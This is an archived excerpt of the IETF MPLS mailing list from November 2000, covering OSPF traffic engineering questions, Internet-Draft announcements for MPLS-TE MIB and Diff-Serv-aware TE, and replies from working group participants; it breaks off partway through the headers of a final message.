metrics Date: Wed, 29 Nov 2000 11:23:02 -0000 Organization: my org MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_001A_01C059F6.BC847C80" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Message-ID: X-OriginalArrivalTime: 29 Nov 2000 11:22:30.0739 (UTC) FILETIME=[A986E230:01C059F6] Sender: owner-mpls@UU.NET Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_001A_01C059F6.BC847C80 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Guise, Can you pls help me out? I understand it is possible to control the load distribution in the = network by modifying routing configurations (OSPF link weight metrics, = but how does this work, and how is it done. If you could point me to = some material where this is discussed it would be very useful. Thanks in advance Regards Mobi. ------=_NextPart_000_001A_01C059F6.BC847C80 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 Guise,
 
Can you pls help me out?

I understand it is = possible=20 to control the load distribution in the network by modifying = routing=20 configurations=20 (OSPF link weight metrics, but how does this work, and how is it done. = If you=20 could point me to some material where this is discussed it would be = very=20 useful.

 

Thanks=20 in advance

 

Regards

 

Mobi.

 

------=_NextPart_000_001A_01C059F6.BC847C80-- From owner-mpls@UU.NET Wed Nov 29 06:34:55 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA03940 for ; Wed, 29 Nov 2000 06:34:55 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrjy03569; Wed, 29 Nov 2000 11:32:38 GMT Received: by mail-control.mail.uu.net id QQjrjy15776 for mpls-outgoing; Wed, 29 Nov 2000 11:32:06 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrjy15770 for ; Wed, 29 Nov 2000 11:31:58 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrjy24605 for ; Wed, 29 Nov 2000 11:31:50 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjrjy11921 for ; Wed, 29 Nov 2000 11:31:49 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id GAA29968 for mpls@uu.net; Wed, 29 Nov 2000 06:31:49 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrjy15684 for ; Wed, 29 Nov 2000 11:31:13 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrjy01510 for ; Wed, 29 Nov 2000 11:30:56 GMT Received: from ietf.org by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: odin.ietf.org [132.151.1.176]) id QQjrjy23264 for ; Wed, 29 Nov 2000 11:30:55 GMT Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAB01617; Wed, 29 Nov 2000 06:30:54 -0500 (EST) Message-Id: <200011291130.GAB01617@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce:; Cc: mpls@UU.NET From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-mpls-te-mib-05.txt Date: Wed, 29 Nov 2000 06:30:54 -0500 Sender: owner-mpls@UU.NET Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF. Title : MPLS Traffic Engineering Management Information Base Using SMIv2 Author(s) : C. Srinivasan, A. Viswanathan, T. Nadeau Filename : draft-ietf-mpls-te-mib-05.txt Pages : 58 Date : 28-Nov-00 This memo defines an experimental portion of the Management Information Base (MIB) for use with network management protocols in the Internet community. In particular, it describes managed objects for Multi-Protocol Label Switching (MPLS) [MPLSArch] [MPLSFW] based traffic engineering. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-mpls-te-mib-05.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-mpls-te-mib-05.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-mpls-te-mib-05.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20001128134432.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-mpls-te-mib-05.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-mpls-te-mib-05.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20001128134432.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-mpls@UU.NET Wed Nov 29 09:04:40 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA03534 for ; Wed, 29 Nov 2000 09:04:40 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrki21290; Wed, 29 Nov 2000 14:02:21 GMT Received: by mail-control.mail.uu.net id QQjrki22413 for mpls-outgoing; Wed, 29 Nov 2000 14:01:48 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjrki22374 for ; Wed, 29 Nov 2000 14:01:44 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrki25528 for ; Wed, 29 Nov 2000 14:01:31 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjrki20009 for ; Wed, 29 Nov 2000 14:01:30 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id JAA09417 for mpls@uu.net; Wed, 29 Nov 2000 09:01:29 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjrki21412 for ; Wed, 29 Nov 2000 14:00:46 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrki22262 for ; Wed, 29 Nov 2000 14:00:09 GMT Received: from ogma.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: ogma.cisco.com [144.254.74.39]) id QQjrki17904 for ; Wed, 29 Nov 2000 14:00:08 GMT Received: from europe.cisco.com (europe.cisco.com [144.254.52.73]) by ogma.cisco.com (Postfix) with ESMTP id 3409D123 for ; Wed, 29 Nov 2000 15:00:08 +0100 (MET) Received: from flefauch-8kcdt.cisco.com (nice-dhcp12.cisco.com [144.254.60.34]) by europe.cisco.com (8.8.8+Sun/8.8.8) with SMTP id PAA20418 for ; Wed, 29 Nov 2000 15:00:07 +0100 (MET) Message-Id: <4.0.2.20001129145539.0229aab0@europe.cisco.com> X-Sender: flefauch@europe.cisco.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.2 Date: Wed, 29 Nov 2000 14:58:12 +0100 To: mpls@UU.NET From: Francois Le Faucheur Subject: Fwd: I-D ACTION:draft-ietf-mpls-diff-te-reqts-00.txt Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-mpls@UU.NET Precedence: bulk Hello, Note that as well as incorrectly refer to and to . Those do NOT exist (yet). They should actually refer to and to . Sorry about this. Francois >To: IETF-Announce: ; >Cc: mpls@uu.net >From: Internet-Drafts@ietf.org >Reply-to: Internet-Drafts@ietf.org >Subject: I-D ACTION:draft-ietf-mpls-diff-te-reqts-00.txt >Date: Fri, 24 Nov 2000 18:12:11 -0500 >Sender: scoya@cnri.reston.va.us > >A New Internet-Draft is available from the on-line Internet-Drafts directories. >This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF. > > Title : Requirements for support of Diff-Serv-aware MPLS > Traffic Engineering > Author(s) : F. Le Faucheur et al. > Filename : draft-ietf-mpls-diff-te-reqts-00.txt > Pages : 13 > Date : 22-Nov-00 > >This document defines the requirements for support of Diff-Serv- >aware MPLS Traffic Engineering on a per-Class-Type basis, as >discussed in the Traffic Engineering Working Group Framework >document [TEWG-FW]. > >A URL for this Internet-Draft is: >http://www.ietf.org/internet-drafts/draft-ietf-mpls-diff-te-reqts-00.txt > >Internet-Drafts are also available by anonymous FTP. Login with the username >"anonymous" and a password of your e-mail address. After logging in, >type "cd internet-drafts" and then > "get draft-ietf-mpls-diff-te-reqts-00.txt". > >A list of Internet-Drafts directories can be found in >http://www.ietf.org/shadow.html >or ftp://ftp.ietf.org/ietf/1shadow-sites.txt > > >Internet-Drafts can also be obtained by e-mail. > >Send a message to: > mailserv@ietf.org. >In the body type: > "FILE /internet-drafts/draft-ietf-mpls-diff-te-reqts-00.txt". > >NOTE: The mail server at ietf.org can return the document in > MIME-encoded form by using the "mpack" utility. To use this > feature, insert the command "ENCODING mime" before the "FILE" > command. To decode the response(s), you will need "munpack" or > a MIME-compliant mail reader. Different MIME-compliant mail readers > exhibit different behavior, especially when dealing with > "multipart" MIME messages (i.e. documents which have been split > up into multiple messages), so check your local documentation on > how to manipulate these messages. > > >Below is the data which will enable a MIME compliant mail reader >implementation to automatically retrieve the ASCII version of the >Internet-Draft. >Content-Type: text/plain >Content-ID: <20001122150102.I-D@ietf.org> > >ENCODING mime >FILE /internet-drafts/draft-ietf-mpls-diff-te-reqts-00.txt > > > From owner-mpls@UU.NET Wed Nov 29 09:30:50 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA13497 for ; Wed, 29 Nov 2000 09:30:50 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrkj27940; Wed, 29 Nov 2000 14:28:34 GMT Received: by mail-control.mail.uu.net id QQjrkj04425 for mpls-outgoing; Wed, 29 Nov 2000 14:28:08 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjrkj04420 for ; Wed, 29 Nov 2000 14:28:07 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrkj17019 for ; Wed, 29 Nov 2000 14:27:47 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjrkj26690 for ; Wed, 29 Nov 2000 14:27:46 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id JAA12580 for mpls@uu.net; Wed, 29 Nov 2000 09:27:45 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrkj04352 for ; Wed, 29 Nov 2000 14:27:10 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrkj12978 for ; Wed, 29 Nov 2000 14:23:53 GMT Received: from rtp-msg-core-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: rtp-msg-core-1.cisco.com [161.44.11.97]) id QQjrkj21396 for ; Wed, 29 Nov 2000 14:23:53 GMT Received: from bucket.cisco.com (bucket.cisco.com [161.44.131.26]) by rtp-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id JAA25871; Wed, 29 Nov 2000 09:21:49 -0500 (EST) Received: from TNADEAU-PC02.cisco.com ([161.44.204.102]) by bucket.cisco.com (Mirapoint) with ESMTP id AAR06461; Wed, 29 Nov 2000 09:23:43 -0500 (EST) Message-Id: <4.3.2.7.2.20001129091710.05aebb78@bucket.cisco.com> X-Sender: tnadeau@bucket.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 29 Nov 2000 09:23:41 -0500 To: mpls@UU.NET From: "Thomas D. Nadeau" Subject: Re: I-D ACTION:draft-ietf-mpls-te-mib-05.txt Cc: cheenu Srinivasan , Arun Viswanathan In-Reply-To: <200011291130.GAB01617@ietf.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-mpls@UU.NET Precedence: bulk Hello, This latest of the MPLS-TE-MIB version contains changes which primarily came from discussions during the last IETF meetings which resulted in the co-authors being directed to add the salient objects from draft-kompella-te-mib-00.txt, as well as a few other objects which were suggested by those implementing the MIB. I would like to solicit comments from those parties interested in the MIB especially on these latest additions. I would also like to take an informal survey of those who are implementing and using the MPLS-TE-MIB including operators, device or 3rd party NMS vendors. Please either contact us on the list or privately, whichever you feel most comfortable with. Thank you, --Tom From owner-mpls@UU.NET Wed Nov 29 10:13:18 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA00508 for ; Wed, 29 Nov 2000 10:13:18 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrkm15622; Wed, 29 Nov 2000 15:10:39 GMT Received: by mail-control.mail.uu.net id QQjrkm20568 for mpls-outgoing; Wed, 29 Nov 2000 15:10:03 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrkm20508 for ; Wed, 29 Nov 2000 15:09:50 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrkm19076 for ; Wed, 29 Nov 2000 15:08:49 GMT Received: from sj-msg-core-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11]) id QQjrkm25827 for ; Wed, 29 Nov 2000 15:08:49 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id HAA10344 for ; Wed, 29 Nov 2000 07:08:53 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id KAA16644 for mpls@uu.net; Wed, 29 Nov 2000 10:08:47 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrjt29357 for ; Wed, 29 Nov 2000 10:16:09 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrjt06303 for ; Wed, 29 Nov 2000 10:15:52 GMT Received: from nwcst279.netaddress.usa.net by cmr0.ash.ops.us.uu.net with SMTP (peer crosschecked as: nwcst279.netaddress.usa.net [204.68.23.24]) id QQjrjt29216 for ; Wed, 29 Nov 2000 10:15:51 GMT Received: (qmail 12512 invoked by uid 60001); 29 Nov 2000 10:15:51 -0000 Message-ID: <20001129101551.12511.qmail@nwcst279.netaddress.usa.net> Received: from 204.68.23.24 by nwcst279 for [193.242.92.70] via web-mailer(34FM.0700.4.03) on Wed Nov 29 10:15:50 GMT 2000 Date: 29 Nov 00 11:15:50 MET From: eduard metz To: rschell@megapathdsl.net Subject: RE: MPLS for UDLR CC: mpls@UU.NET X-Mailer: USANET web-mailer (34FM.0700.4.03) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id KAA00508 Hi Robert, interesting issue, since MPLS LSP are basically uni-directional I think this should work (although I'm not really in to UDLR ...). You may want to redirect your question to cisco-nsp@puck.nether.net, as it concerns some implementation specific issues. You probably will get better feedback on that list ... cheers, Eduard ----------------------- I am looking for ways to implement certain traffic engineering and QoS features over satellite links using MPLS. Does any router support Unidirectional Link Routing (UDLR) using MPLS as the tunneling encapsulation? I have tried this with Cisco 7200 and 7500 series boxes (with latest T-train IOS) without success. It seems that UDLR is able to use only GRE tunnels. In my view, MPLS would be ideally suited to this purpose because it is lightweight (only 4 bytes) and satellite bandwidth tends to be scarce. In general, I have had trouble getting MPLS TE tunnels to work when the physical interfaces for send and receive are different. This may be more of a problem with OSPF than with the tunnel mechansim itself. Any thoughts? ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=1 From owner-mpls@UU.NET Wed Nov 29 10:56:35 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA16963 for ; Wed, 29 Nov 2000 10:56:35 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrkp20477; Wed, 29 Nov 2000 15:52:51 GMT Received: by mail-control.mail.uu.net id QQjrkp26464 for mpls-outgoing; Wed, 29 Nov 2000 15:52:14 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjrkp26451 for ; Wed, 29 Nov 2000 15:52:06 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrkp28840 for ; Wed, 29 Nov 2000 15:49:32 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjrkp24670 for ; Wed, 29 Nov 2000 15:49:31 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id KAA23761 for mpls@uu.net; Wed, 29 Nov 2000 10:49:31 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjrko25502 for ; Wed, 29 Nov 2000 15:44:42 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrko17260 for ; Wed, 29 Nov 2000 15:44:36 GMT Received: from coltrane.dataconnection.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: smtp.dataconnection.com [192.91.191.4]) id QQjrko17385 for ; Wed, 29 Nov 2000 15:44:35 GMT Received: by smtp.datcon.co.uk with Internet Mail Service (5.5.2650.21) id ; Wed, 29 Nov 2000 15:44:25 -0000 Message-ID: From: Adrian Farrel To: Cisco -Thomas Nadeau , mpls@UU.NET Cc: cheenu Srinivasan , Arun Viswanathan Subject: RE: I-D ACTION:draft-ietf-mpls-te-mib-05.txt Date: Wed, 29 Nov 2000 15:44:21 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk Tom, As you know we at Data Connection have architected MIB support into our portable MPLS software products from the word go, and we have been happy to work with you and the authors of the LDP MIB on refinements to the MIBs as they have developed through the working group. As a result, many MPLS switch/router vendors using our code can offer MIB support based around the drafts. We'd be happy to answer your survey questions, although this sort of question/answer session should probably take place off the list. My guess is that the list would be pleased to see a posting of the results of your survey. Regards, Adrian -- Adrian Farrel mailto:af@dataconnection.com Network Convergence Group Data Connection Ltd., Chester, UK http://www.dataconnection.com/ Tel: +44 (0) 1244 313440 Fax: +44 (0) 1244 312422 >-----Original Message----- >From: Cisco -Thomas Nadeau >Sent: Wednesday, November 29, 2000 2:24 PM >To: mpls@UU.NET >Cc: cheenu Srinivasan; Arun Viswanathan >Subject: Re: I-D ACTION:draft-ietf-mpls-te-mib-05.txt > > > > Hello, > > This latest of the MPLS-TE-MIB version contains >changes which primarily came from discussions during the >last IETF meetings which resulted in the co-authors >being directed to add the salient objects from >draft-kompella-te-mib-00.txt, as well as >a few other objects which were suggested by those >implementing the MIB. I would like to solicit comments >from those parties interested in the MIB especially >on these latest additions. > > I would also like to take an informal survey >of those who are implementing and using the >MPLS-TE-MIB including operators, device or 3rd party >NMS vendors. Please either contact us on the list or >privately, whichever you feel most comfortable with. > > Thank you, > > --Tom > > From owner-mpls@UU.NET Wed Nov 29 11:41:02 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA03490 for ; Wed, 29 Nov 2000 11:41:02 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrks03375; Wed, 29 Nov 2000 16:37:37 GMT Received: by mail-control.mail.uu.net id QQjrks13926 for mpls-outgoing; Wed, 29 Nov 2000 16:37:16 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrks13917 for ; Wed, 29 Nov 2000 16:37:13 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrks21210 for ; Wed, 29 Nov 2000 16:36:49 GMT Received: from mail.wiband.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail.wiband.com [64.56.140.3]) id QQjrks26951 for ; Wed, 29 Nov 2000 16:36:48 GMT Received: from Qingmai (64.56.138.111 [64.56.138.111]) by mail.wiband.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id X3DLR1RJ; Wed, 29 Nov 2000 10:16:26 -0600 From: "Qingmai Zhou" To: Subject: NE and topology discovery Date: Wed, 29 Nov 2000 11:37:44 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Importance: Normal Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit I am trying to retrieve the LSDB to discover the NEs and topology of OSPF, but I found the LSDB did not have some NE information like NE type, so that means I should also need to poll to each NE beside go through LSDB? Sincerely, __________________________ Qingmai Zhou Metera Networks Canada, Ltd. Tel: (613) 727-3166 Ext. 236 Fax: (613) 727-8968 Emailto:qingmai.zhou@metera.com From owner-mpls@UU.NET Wed Nov 29 11:59:56 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA10577 for ; Wed, 29 Nov 2000 11:59:51 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrkt25122; Wed, 29 Nov 2000 16:55:30 GMT Received: by mail-control.mail.uu.net id QQjrkt16145 for mpls-outgoing; Wed, 29 Nov 2000 16:54:56 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjrkt16131 for ; Wed, 29 Nov 2000 16:54:45 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrkt08670; Wed, 29 Nov 2000 16:51:53 GMT Received: from zcars04f.ca.nortel.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: h57s242a129n47.user.nortelnetworks.com [47.129.242.57]) id QQjrkt23749; Wed, 29 Nov 2000 16:51:52 GMT Received: from zcard00m.ca.nortel.com by zcars04f.ca.nortel.com; Wed, 29 Nov 2000 11:47:02 -0500 Received: from zcard00p.ca.nortel.com ([47.129.25.61]) by zcard00m.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.39) id XZ4Y5S51; Wed, 29 Nov 2000 11:46:55 -0500 Received: from nortelnetworks.com (zcars02x.ca.nortel.com [47.23.81.10]) by zcard00p.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.39) id W4WMZ56P; Wed, 29 Nov 2000 11:46:55 -0500 Message-ID: <3A253300.872964FD@nortelnetworks.com> Date: Wed, 29 Nov 2000 11:46:56 -0500 From: "Cheng-Yin Lee" Organization: Nortel Networks X-Mailer: Mozilla 4.51 [en] (X11; I; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: te-wg@UU.NET CC: "Neil Gammage" , "Sudhakar Ganti" , "Alicja Celer" , gash@att.com, mpls@UU.NET Subject: draft-lee-mpls-te-exchange-00.txt Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Orig: Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hello, Jim Boyle suggested posting a ptr to this draft (available at the ietf site) on the list. There are two main aspects to this proposal on using distributed constraints/route servers. The first one enables path setup across network boundaries regardless of whether aggregated constraint routes are available or not. Since a node may not have enough information (some constraint information is lost in route summarization, however not summarizing is not a practical nor desirable option either) to compute a path across network boundaries, the proposal allows nodes to request the constraint path from nodes who knows (eg the transit area border router) instead of computing the inter-area path themselves. The path request could be recursed to the transit inter-domain border router. If aggregated constrained routes are available, the transit border router for the constrained path to the destination may be queried, otherwise the transit border router for the 'shortest path' to the destination may be queried. If an area border router could provide the constraint path across area, then a node could request the area border router for any paths including intra-area paths as well. If that is the case then it is not necessary to flood constraint information to all nodes in the network, this is the second optimization. The most immediate application of this proposal as quite a number of people suggested is in inter-area path setup. In addition, the proposal is also motivated by the issues concerning optical networks eg wrt flooding constraints out many ports , the feasibility of distributing optical constraints across network boundaries, especially in the inter-domain. These aspects may interest the Optical group as well. The url for the proposal is at http://ftp.ietf.org/internet-drafts/draft-lee-mpls-te-exchange-00.txt and a related short draft on the path request message at http://homepages.go.com/~lcyn/draft-lee-mpls-path-request-00.txt cheers, cyl From owner-mpls@UU.NET Wed Nov 29 12:26:19 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA20736 for ; Wed, 29 Nov 2000 12:26:19 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrkv24329; Wed, 29 Nov 2000 17:23:27 GMT Received: by mail-control.mail.uu.net id QQjrkv01102 for mpls-outgoing; Wed, 29 Nov 2000 17:22:55 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjrkv01074 for ; Wed, 29 Nov 2000 17:22:38 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrkv24216 for ; Wed, 29 Nov 2000 17:20:59 GMT From: wesam.alanqar@mail.sprint.com Received: from damgwp01.corp.sprint.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [199.14.91.106]) id 